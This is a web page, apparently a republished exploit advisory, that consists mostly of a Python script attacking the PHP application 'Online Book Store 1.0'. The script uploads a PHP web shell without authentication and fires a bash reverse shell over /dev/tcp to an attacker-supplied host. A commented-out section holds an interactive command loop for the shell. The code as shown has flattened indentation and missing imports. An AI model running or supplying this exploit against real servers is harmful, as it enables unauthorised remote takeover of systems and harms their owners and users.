Exploit/Advisories

Published on July 24th, 2020 📆 | 7349 Views ⚑

0

Online Book Store 1.0 Code Execution ≈ Packet Storm


iSpeech

#!/usr/bin/env python3

# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami)

# Google Dork: N/A

# Date: 2020-01-07 (2020-22-07)

# Exploit Author: Tib3rius

# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/

# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip

# Version: 1.0

# Tested on: Ubuntu 16.04, Kali Linux 2020.2

# CVE: N/A

# Mod: Not so shitty reverse shell capability (want it to play nice with pwncat)

import argparse

import random

import requests

import socket

import string

parser = argparse.ArgumentParser()

parser.add_argument('url', action='store', help='The URL of the target.')

parser.add_argument('ip', action='store', help='LHOST')

parser.add_argument('port', action='store', help='LPORT')

args = parser.parse_args()

url = args.url.rstrip('/')

random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

#payload = '< ?php echo shell_exec($_GET['cmd']); ?>'

payload = '< ?php exec("/bin/bash -c 'bash -i > /dev/tcp/' + args.ip + '/' + args.port +' 0>&1'");?>'

file = {'image': (random_file + '.php', payload, 'text/php')}

print('> Attempting to upload PHP web shell...')

r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)





print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')

#print('> Verifying shell upload...')

#r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

input('> You need to prepare netcat or pwncat (Press any key)')

try:

r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)

except HTTPError:

print('> Web shell failed to upload! The web server may not have write permissions.')

'''

if random_file in r.text:

r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)

print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')

print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')

launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))

if launch_shell.lower() == 'y':

while True:

cmd = str(input('RCE $ '))

if cmd == 'exit':

sys.exit(0)

r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)

print(r.text)

else:

if r.status_code == 200:

print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')

else:

print('> Web shell failed to upload! The web server may not have write permissions.')

'''

Source link

Tagged with:



Comments are closed.